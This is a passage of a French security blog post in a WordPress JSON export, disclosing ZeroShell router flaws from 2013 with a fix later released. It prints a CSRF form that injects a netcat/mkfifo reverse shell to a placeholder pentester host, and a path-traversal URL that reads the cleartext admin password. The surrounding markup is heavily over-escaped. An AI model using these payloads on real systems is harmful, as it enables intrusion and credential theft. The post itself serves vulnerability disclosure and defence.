name=&#8217;What&#8217; value=&#8217;yanncam&amp;amp;amp;amp;amp;amp;amp;amp;quot; localhost &amp;amp;amp;amp;amp;amp;amp;amp;amp;&amp;amp;amp;amp;amp;amp;amp;amp;amp; rm -f \/tmp\/x;mkfifo \/tmp\/x;cat \/tmp\/x|\/bin\/sh -i 2&amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;1|nc [PENTESTER_IP] [PENTESTER_PORT] &amp;amp;amp;amp;amp;amp;amp;amp;gt; \/tmp\/x #&#8217; \/&amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;<br \/>\n &amp;amp;amp;amp;amp;amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;DNS&#8217; value=&#8217;localhost&#8217; \/&amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;<br \/>\n &amp;amp;amp;amp;amp;amp;amp;amp;lt;\/form&amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;<br \/>\n &amp;amp;amp;amp;amp;amp;amp;amp;lt;script&amp;amp;amp;amp;amp;amp;amp;amp;gt;document.forms[&#8216;x&#8217;].submit();&amp;amp;amp;amp;amp;amp;amp;amp;lt;\/script&amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;<br \/>\n &amp;amp;amp;amp;amp;amp;amp;amp;lt;\/body&amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;amp;amp;amp;lt;\/html&amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;amp;amp;gt;[\/html]<\/p>\n<div id=\"attachment_951\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/zeroshell6.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-951\" class=\"size-medium wp-image-951\" alt=\"Reverse-shell sur ZeroShell\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/zeroshell6-300x136.png\" width=\"300\" height=\"136\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/zeroshell6-300x136.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/zeroshell6.png 794w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-951\" class=\"wp-caption-text\">Reverse-shell sur ZeroShell<\/p><\/div>\n<p>ZeroShell dispose nativement de netcat. Toutefois la version de nc pr\u00e9sente ne permet pas d&#8217;exploiter le flag -e ou -c, d&#8217;o\u00f9 l&#8217;utilisation d&#8217;un cha\u00eenage via mkfifo. Pour plus d&#8217;information quand \u00e0 l&#8217;utilisation et les variantes des commandes de reverse-shell, se r\u00e9f\u00e9rer \u00e0 l&#8217;<a title=\"[Pentesting] \u00c9tablir un reverse-shell en une ligne\" href=\"https:\/\/www.asafety.fr\/vuln-exploit-poc\/pentesting-etablir-un-reverse-shell-en-une-ligne\/\" target=\"_blank\">article d\u00e9di\u00e9<\/a>.<\/p>\n<h3>Admin password retrieval<\/h3>\n<p>Pour finir cette s\u00e9rie de probl\u00e8mes de s\u00e9curit\u00e9 qui ont \u00e9t\u00e9 identifi\u00e9s, il est possible de r\u00e9cup\u00e9rer en clair le mot de passe associ\u00e9 au compte &#8220;admin&#8221; de ZeroShell. Ce compte permet de se connecter en tant qu&#8217;administrateur au WebGUI ainsi qu&#8217;en root via SSH et\/ou console.<\/p>\n<p>Le fait de disposer du mot de passe et donc d&#8217;un acc\u00e8s au WebGUI permet bien \u00e9videmment d&#8217;obtenir un jeton de session valide, afin d&#8217;\u00e9tablir un reverse-shell comme d\u00e9taill\u00e9 pr\u00e9c\u00e9demment.<\/p>\n<p>Apr\u00e8s une br\u00e8ve analyse du m\u00e9canisme du WebGUI pour &#8220;changer le mot de passe d&#8217;administration&#8221;, il s&#8217;av\u00e8re que c&#8217;est le script suivant qui est appel\u00e9 :<\/p>\n<p>[bash]\/root\/kerbynet.cgi\/scripts\/cpw[\/bash]<\/p>\n<p>Dans le cas o\u00f9 le mode de changement de mot de passe est de &#8220;v\u00e9rifier le vieux password au pr\u00e9alable&#8221;, cette ligne du script est ex\u00e9cut\u00e9e :<\/p>\n<p>[bash]if [ &amp;amp;amp;amp;amp;amp;amp;amp;quot;$CPW&amp;amp;amp;amp;amp;amp;amp;amp;quot; != &amp;amp;amp;amp;amp;amp;amp;amp;quot;`cat $REGISTER\/system\/ldap\/rootpw 2&amp;amp;amp;amp;amp;amp;amp;amp;gt;\/dev\/null`&amp;amp;amp;amp;amp;amp;amp;amp;quot; ] ; then[\/bash]<\/p>\n<p>On peut facilement en d\u00e9duire que le mot de passe courant est stock\u00e9 dans &#8220;$REGISTER\/system\/ldap\/rootpw&#8221;, o\u00f9 &#8220;$REGISTER&#8221; vaut &#8220;\/var\/register&#8221; d&#8217;apr\u00e8s le fichier &#8220;\/etc\/kerbynet.conf&#8221;.<\/p>\n<p>En cons\u00e9quence, on peut lire le contenu de ce fichier sans \u00eatre authentifi\u00e9 sur le routeur\/firewall via la vuln\u00e9rabilit\u00e9 de <em>local file disclosure <\/em>d\u00e9taill\u00e9e<em> <\/em>plus haut.<\/p>\n<p>[bash]http:\/\/&amp;amp;amp;amp;amp;amp;amp;amp;lt;ZEROSHELL_IP&amp;amp;amp;amp;amp;amp;amp;amp;gt;\/cgi-bin\/kerbynet?Section=NoAuthREQ&amp;amp;amp;amp;amp;amp;amp;amp;amp;Action=Render&amp;amp;amp;amp;amp;amp;amp;amp;amp;Object=..\/..\/..\/var\/register\/system\/ldap\/rootpw[\/bash]<\/p>\n<div id=\"attachment_953\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/zeroshell7.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-953\" class=\"size-medium wp-image-953\" alt=\"R\u00e9cup\u00e9ration du mot de passe administrateur en clair de ZeroShell\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/zeroshell7-300x75.png\" width=\"300\" height=\"75\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/zeroshell7-300x75.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/zeroshell7-1024x259.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/zeroshell7.png 1114w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-953\" class=\"wp-caption-text\">R\u00e9cup\u00e9ration du mot de passe administrateur en clair de ZeroShell<\/p><\/div>\n<h3>Vid\u00e9o PoC de d\u00e9monstration<\/h3>\n<p>Une vid\u00e9o de d\u00e9monstration des diff\u00e9rents PoC a \u00e9t\u00e9 r\u00e9alis\u00e9e.<\/p>\n<p>[youtube]https:\/\/www.youtube.com\/watch?v=fgbfVBr65e4[\/youtube]<\/p>\n<h2>Conclusion et notes de fin<\/h2>\n<p>Le d\u00e9veloppeur en charge de ZeroShell a \u00e9t\u00e9 alert\u00e9 le 20 mai 2013, et celui-ci a r\u00e9pondu tr\u00e8s aimablement le jour m\u00eame. Nous avons \u00e9chang\u00e9 quelques mails pour d\u00e9terminer les causes et techniques de protection \u00e0 appliquer. Le d\u00e9veloppeur m&#8217;a indiqu\u00e9 qu&#8217;une nouvelle release allait appara\u00eetre au d\u00e9but du mois suivant (juin). Fin juin je me suis permis de revenir aux nouvelles, la release est planifi\u00e9e pour d\u00e9but juillet. Finalement <a title=\"RC3\" href=\"http:\/\/www.zeroshell.org\/download\/\" target=\"_blank\">celle-ci vient tout juste de voir le jour<\/a>, d\u00e9but ao\u00fbt, o\u00f9 un <a title=\"Patch de s\u00e9curit\u00e9\" href=\"http:\/\/www.zeroshell.org\/patch-details\/\" target=\"_blank\">patch correctif de s\u00e9curit\u00e9<\/a> est \u00e9galement disponible :<\/p>\n<blockquote>\n<p>With the release 2.0.RC3 of Zeroshell some security issues have been corrected. Specifically, now the DNS works as cache and accepts recursive queries only for local networks if not configured otherwise. Recently, the DNS fully opened are being used to carry out DDoS attacks resulting in bandwidth consumption. For this reason, the migration to 2.0.RC3 is strongly recommended.<br \/>\nNo-IP has been added as a provider for dynamic DNS and the recognition of 3G USB modems has been enhanced. You can now disable the virus scan of web pages resulting in improved performance of the transparent proxy on modest hardware.<br \/>\nSeveral fixes have been applied on the procedure for Backup and Restore of the profiles.<\/p>\n<\/blockquote>\n<p>Ce n&#8217;est h\u00e9las pas la distribution que je vais choisir mon s\u00e9curiser mon infrastructure interne, d\u00fb a ces quelques faiblesses relativement critiques. Non pas qu&#8217;elle soit incompl\u00e8te en termes de fonctionnalit\u00e9, mais l&#8217;aspect s\u00e9curit\u00e9 n&#8217;est pas\u00a0suffisamment\u00a0travaill\u00e9 \u00e0 mon sens. Je vous d\u00e9conseille son d\u00e9ploiement dans des environnements critiques en attendant qu&#8217;elle soit am\u00e9lior\u00e9e.<\/p>\n<p>Je remercie Fulvio Ricciardi pour sa courtoisie et le travail qu&#8217;il semble r\u00e9aliser en solitaire sur cette distribution, et ce, depuis plusieurs ann\u00e9es. Je vous invite \u00e0 installer <a title=\"RC3\" href=\"http:\/\/www.zeroshell.org\/download\/\" target=\"_blank\">la RC3<\/a> ou \u00e0 d\u00e9ployer <a title=\"Patch de s\u00e9curit\u00e9\" href=\"http:\/\/www.zeroshell.org\/patch-details\/\" target=\"_blank\">le dernier patch de s\u00e9curit\u00e9 du 07 ao\u00fbt 2013<\/a> pour r\u00e9duire le risque de vuln\u00e9rabilit\u00e9 de vos ZeroShell respectifs.<\/p>\n<p>Pour finir, je finirai sur la petite touche humoristique du nom de cette distribution orient\u00e9e s\u00e9curit\u00e9, &#8220;ZeroShell&#8221;, par rapport \u00e0 cet article \ud83d\ude42 !<\/p>\n<h2>Sources &#038; ressources<\/h2>\n<ul>\n<li><a title=\"ZeroShell\" href=\"http:\/\/www.zeroshell.net\/\" target=\"_blank\">ZeroShell official website<\/a><\/li>\n<li><a title=\"[Pentesting] \u00c9tablir un reverse-shell en une ligne\" href=\"https:\/\/www.asafety.fr\/vuln-exploit-poc\/pentesting-etablir-un-reverse-shell-en-une-ligne\/\" target=\"_blank\">ASafety reverse-shell cheat-sheet<\/a><\/li>\n<li><a title=\"ZeroShell YouTube demonstration video\" href=\"https:\/\/www.youtube.com\/watch?v=fgbfVBr65e4\" target=\"_blank\">YouTube demonstration video<\/a><\/li>\n<li><a title=\"exploit-db\" href=\"http:\/\/www.exploit-db.com\/exploits\/8023\/\" target=\"_blank\">Exploit-DB : Exploit RCE sur ZeroShell 1.0b11 d\u00e9nich\u00e9 apr\u00e8s analyse<\/a><\/li>\n<li><a title=\"PSS\" href=\"http:\/\/packetstormsecurity.com\/files\/122799\/zeroshell-execdisclose.txt\" target=\"_blank\">ZeroShell 2.0RC2 File Disclosure \/ Command Execution &#8211; PacketStormSecurity<\/a><\/li>\n<\/ul>\n<p><\/p>","protected":false},"excerpt":{"rendered":"<p>Introduction Dans la continuit\u00e9 des \u00e9valuations des routeurs\/firewall bas\u00e9s sur des distributions Linux et orient\u00e9s s\u00e9curit\u00e9, voici le tour de [&hellip;]<\/p>\n","protected":false},"author":1337,"featured_media":1130,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[59,517,165,516,14,515],"tags":[347,197,348,350,224,208,201,212,199,349,346],"class_list":["post-942","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-administration-reseaux-et-systemes","category-csrf","category-os","category-rce","category-vuln-exploit-poc","category-xss","tag-admin-password-retrieval","tag-firewall","tag-jeton-de-session","tag-kerbynet","tag-mkfifo","tag-netcat","tag-remote-command-execution","tag-reverse-shell","tag-routeur","tag-session-token","tag-zeroshell"],"_links":{"self":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/942","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/users\/1337"}],"replies":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/comments?post=942"}],"version-history":[{"count":30,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/942\/revisions"}],"predecessor-version":[{"id":1605,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/942\/revisions\/1605"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media\/1130"}],"wp:attachment":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media?parent=942"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/categories?post=942"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/tags?post=942"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}